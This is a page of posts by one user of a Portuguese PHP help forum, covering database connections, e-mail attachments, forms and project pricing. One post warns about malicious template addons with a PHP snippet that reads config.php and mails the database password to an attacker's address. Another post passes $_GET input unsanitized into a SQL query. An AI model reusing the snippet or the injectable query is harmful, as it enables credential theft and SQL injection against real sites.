Ir para conteúdo
Fórum Script Brasil

Norivan Oliveira

Veteranos
  • Total de itens

    2.001
  • Registro em

  • Última visita

Tudo que Norivan Oliveira postou

  1. Bom tem risco sim, dizem que o motivo da invasão no PHPBB.org foi exatamente acesso a senha do bd pelo arquivo de configuração, não sei se isso foi verdade mas isso seria possível. Porque? O usuário nunca iria ver pelo navegador o que tem dentro do seu arquivo de conexão (config.php) porque este arquivo é interpretado no servidor, no entanto, se seu sistema tiver hoje ou vir até algum dia algum addon de terceiros, por exemplo TEMPLATES, nada impede do cara fazer algo similar à: $pegasenha = file_get_contents("config.php"); mail("pegador_de_senha@gmail.com","Mais uma senha de banco",$pegasenha) E só ficar esperando a senha do seu bd chegar no email dele. Umas das soluções que você pode adotar é a criptografia desse arquivo usando o ZEND GUARD, ION CUBE ou outros similares.
  2. Olha, você até pode criar uma coluna gigante de especificações genericas separadas por ; por exemplo, mas isso ia dar um trabalhão e não ia ficar legal. O que acontece com loja virtual é que você precisa ter um padrão. Por exemplo: Você tem uma loja virtual de roupas, lá tem a tabela produtos que tem os campos id_produto nome_produto descricao_produto cor_produto tamanho_produto No formulário você tem a opção de cadastrar os tamanho P, M e G você nessa mesma loja tem um departamento de informatica que nenhum produto tem tamanho P, M ou G, mas tem que ter altura, largura e comprimento. Solução Sua tabela passa a ter mais 3 campos id_produto nome_produto descricao_produto cor_produto tamanho_produto altura largura comprimento e seu formulário vai ter tanto a opção do tamanho p,m ou g quanto altura, largura e comprimento Se você quiser organizar melhor no inicio do formulário você coloca um select perguntando qual o tipo de produto. Exemplo: <form method=get> <select name=tipo> <option value=roupa>roupa</option> <option value=computador>computador</option> </select> </form> <? if($_GET['tipo'] = "roupa"){ ?> <form name=cadastro method=post> <select name=tamanho> <option value=p>p</option> <option value=m>m</option> </select> </form> <? } elseif($_GET['tipo'] = "computador"){ ?> <form name=cadastro method=post> <input name=altura> </form> <? } ?>
  3. Norivan Oliveira

    form no php5

    Crie uma validação em java script pra validar antes dela enviar o formulário. Do contrário a partir dai você vai ficar a mercer do navegador pois quem controla o cache é ele Como validar com JS
  4. 1. src, seria source, o caminho (path) da página com o script que você quer abrir 2. Está página conteria os select's necessarios sendo filtrados por $_GET por exemplo lista.php $filtro=$_GET['nome']; mysql_query("select * from user where = {$filtro}");
  5. Norivan Oliveira

    form no php5

    Ele perguntou se em algum lugar do seu código tem o instinto $_RESQUET Se tiver pode trocar para $_POST ou $_GET dependendo do atributo method do seu formulário porque? a groso modo podemos dizer que $_REQUEST está sendo retirado da face do planeta PHP desde o PHP 4.4
  6. Sobre o link, isso se chama URL Amigável, não tem nem 1 semana que postei uma classe que faz isso que você quer no repositório. Sobre uma classe global, se você for usar Orientação de Objetos deve usar uma classe pai estendendo da mesma as outras classes que precisam de qualquer coisa dessa classe class PAI { public $var1 = "sou um atributo"; } class FILHO extends PAI { // Redefine o método pai function displayVar() { echo "Classe Herdeira\n"; parent::displayVar(); // AQUI VOCÊ CHAMA OS ATRIBUTOS DO PAI } } $extended = new FILHO(); $extended->displayVar(); Existem outros metodos mais esse é considerado, pelo ao menos por mim, o metodo mais seguro e fácil de dar manutenção depois. Maiores informações no manual do PHP
  7. No espaço vazio coloque um iframe por exemplo <iframe name="teste" src="blank.php"></iframe> Dai é só apontar o action do seu form pra o iframe <form action="lista.php" target="teste">
  8. Você não pode de maneira nenhuma cobrar valor fixo por nada que envolva programação a menos que você especifique "tintin por tintin". Imagine a seguinte situação: Cadastro de clientes do site do João (que tem 3 campos) = R$ 50,00 Cadastro de clientes da Unimed (com 1 milhão de regras, validações, join, union e etc) = R$ 50,00 Mais algumas observações para te ajudar... Me da o número da conta que deposito agora R$ 100,00 para você fazer o sistema de administração de um cliente meu que tem um banco com 89 tabelas e mais uma pancada de arquivos que tem de ser gerador pela admin do site, além de captura de cartão de crédito . ferramenta de busca = R$50,00 (se estiver presente no site) Me da o número da conta outra vez que te contrato pra fazer o google pra mim e se não fizer ligo pro procon falado que é propaganda enganosa Mapa do site você pode até cobrar valor fixo fazendo muita força pra não dizer o contrário, mas mapa do site não se resumi a um mapa do site em html, existe sitemap, ror e outras coisas que eu nem sei que existe. Então especifique qual mapa você está se referindo. O que você chama de indexar um domínio? E se um destes formulários for um formulário com 100 campos totalmente diferentes e regras de negocio proprias? Seu cliente dirá: "Amigão tentei enviar as news pra minha listinha de 50 mil emails e ela não chegou... conserta isso ai". E você dirá o que? --------- Já sobre sua formula de calculo de hora eu não entendi ela muito bem, mas lógica ai sim está certa. Você tem duas opções: 1. Cobrar mais a hora mais cara pelo que você sabe fazer melhor 2. Cobrar a hora pelo valor de mercado da sua região (indicado). Além do post que o Cristiano indicou existem vários outros sobre o assunto no fórum, dá uma pesquisada em todos. Jeito de cobrar cada um tem um, o único calculo padrão pra isso que eu conheço é o bom e velho ponto de função, elabore o seu da forma que melhor lhe convir, mas um conselho: Valorize seu trabalho, ninguém se prende a uma tela de computador de graça, lembre-se que você vai "perder" boa parte da sua vida atrás dela fazendo coisas sem lógica que seu cliente maluco pedir.
  9. Basta criar um quadro de frame, o frame de cima contem um select gravando na sessão, cookie, arquivo ou qualquer que seja o tema que o sistema vai usar e no frame de baixo abre o sistema pegando o valor do tema através do valor da sessão, cookie ou arquivo arquivo que você setou no frame de cima
  10. Nem imagine kurroi porque é gambiarra pura! Veja: function verificaEmail($str){ $char = "@"; $x = strlen($str); $y = str_replace($char,"" ,$str ); $z = strlen($y); if(($x-1)!=$z){ $msg = "O e-mail é inválido"; // porque não tem nenhuma @ ou tem mais de uma } else { $msg = "email válido"; } return $msg; } echo verificaEmail("norivan@gmail.com"); echo verificaEmail("norivan@@gmail.com"); echo verificaEmail("fbh"); Peguei essa mania a algum tempo atrás, no meu curso "fenomenal" de PHP onde eu não tinha visto strstr e muito menos expressões regulares e tive que validar um campo de e-mail, então dei uma "juninzada" e fiz essa lindeza ai :P
  11. Não é em new site que você configura mais de um BD. Use CTRL+SHIFT+F10 após configurar o site. Favor ler meu post anterior por inteiro
  12. Pode ser tb kuroi, como o edgar diz tem inúmeras possibilidades, eu por exemplo tenho mania de usar str_replace() pra fazer isso por incrível que pareça
  13. Pelo que vi: 1. você não anexou o arquivo a mensagem a varriavel $anexo tem que "entrar" na varriavel $mensagem 2. A codificação da sua mensagem deve ser de multipart's, a ser incluido no cabeçalho $corpo .= "Content-type: multipart/mixed; boundary=\"$idt\"\r\n"; 3. você tem que declarar o anexo na msg $mensagem .= "Content-Disposition: attachment; filename=\"".$arquivo["name"]."\"\n"; Tem um exemplo de envio de formulário com anexo aqui
  14. Desculpe mas continuo sem entender o que você está tentando fazer... me responde: 1. você tem um site 1.1. Tem 3 bancos de dados com a mesma estrutura só que com dados diferentes 1.2. Quer fazer com que o usuário possa setar qual banco de dados usar? 2. você tem u site 2.1 Tem três bancos de dados com estrutura diferentes que o site usa para alguma coisa (sistema de forum, chat, news...) 2.1 Quer que o Dreamweaver gere 1 conexão para cada um desses bancos de dados 1 ou 2? IMPORTANTE: Você não configura uma conexão com o banco pela opção New Site, tem que usar o painel aplication
  15. você abriu um bloco de códigos e não fechou if (file_exists($arquivo["tmp_name"]) and !empty($arquivo)) { // --- ABRE BLOCO 1 - você NÃO TINHA FECHADO $fp = fopen($_FILES["arquivo"]["tmp_name"], "rb"); $anexo = fread($fp, filesize($_FILES["arquivo"]["tmp_name"])); $anexo = base64_encode($anexo); fclose($fp); $anexo = chunk_split($anexo); $headers = "MIME-Version: 1.0\r\n"; $headers .= "Content-type: text/html; charset=iso-8859-1\r\n"; $headers .= "From: $email \r\n"; // Enviar os dados do formulário para seu e-mail $enviar = mail($seuemail, $assunto, $mensagem, $corpo); // Verifica se o e-mail foi entregue com sucesso if ($enviar) { // ABRE BLOCO 2 echo "Email enviado com sucesso"; } else { echo "Não foi possível enviar."; } // FECHA BLOCO 2 } // FECHA BLOCO 1 ?>
  16. Bom aí já é erro no servidor smtp ou o servidor para qual você enviou a mensagem não aceittou a mensagem por vir de um servidor local. Nunca usei esse smtp que o Edgar lhe passou mas ele deve ter algum painel de controle que mostra as mensagens enviadas, da uma checada la se sua mensagem foi enviada, se la estiver marcado como enviado o mais provavel é que o servidor que ia receber a mensagem recusou seu servidor de envio de emails por ser local. Mas porque ele teria recusado? Porque se você permitir receber emails enviados de um servidor local, sem um ip fixo registrado, no seu servidor de emails você vai receber 1 trilhão de spams por dia sem saber de onde veio. PS: Uma outra opção de servidor smtp é o easy smtp server
  17. Não importa muito a forma que você vai fazer o layout a partir do momento que você pretende iniciar um projeto do zero, caso você for usar um sistema já pronto ou um gerenciador de template ai sim você deve seguir o padrão de templates do mesmo. Mas de qualquer forma você pode criar o PSD normalmente, na hora de cortar com a ferramenta Slices e exportar é que se deve tomar cuidados, mas ai já vai da técnica de cada um. Eu por exemplo desenho o PSD, divido ele em 3 ou 4 arquivos PSD dependendo do formato do layout, exporto em 4 arquivos diferentes, depois crio uma página com a estrutura do layout e incluo nela as outras páginas do PSD que exportei. Dessa forma consigo trabalhar com minha classe de templates e abrir todos conteúdos em "uma página só"
  18. :huh: Não tem limite de bancos por site, você pode configurar quantas bases quiser para um site, desde de CLARO, que as conexões não tenham o mesmo nome. Posta o print de que você está tentando fazer ou explique melhor.
  19. Como o HTML guardian existem várias outras ferramentas que criptografam HTML até mesmo algumas gratuitas que usam JS como essa Mas quanto a uma linguagem implementar server-side implementar algo faça isso que você quer é improvavel, na verdade pelo que eu saiba do ponto de vista técnico é impossível porque se ela fizer isto ela deixa de ser server-side, você teria que ter alguém no cliente para interpretar seu código, talvez um plugin de IE ou FF até. É possível é, mas não vejo nenhuma lógica em criptografia de código HTML, HTML não é linguagem de programação. Talvez com a forte crescente do JS pelo Ajax até se justifique codificar algo como GMAIL da vida que é Ajax "puro", mas o resto não se justifica, criptografar tag HTML não tem lógica. Para criptografia em PHP existe o Zend Guard, IONCUBE E alguns outros grátis como o PHPObsfuscator
  20. Retira o bloco que eu inseri para verificar a funcao mail if(function_exists('mail')){ die("a funcao mail não estas habilitada"); } E vê qual erro retorna
  21. Sistema de boletos em PHP Livre Mas acho bom você dar uma pesquisada no ´fórum antes, pois como alertei anteriormente emitir boletos direto no sistema pode ser uma tremenda fria
  22. Já passei pela mesma situação tempos atrás a solução que você encontrou foi quase a que eu mesma que executei, não tive problemas com isso até o momento.
  23. Dessa eu não sabia, até eu fiquei curioso. Ele não apresenta o código de fonte em branco e sim aparentemente criptografado. Parece que atualmente eles usam algum tipo de criptografia js vinculada a iframes e as tags html. Até que não é má idéia, mas não fica no padrão w3c pelo jeito
×
×
  • Criar Novo...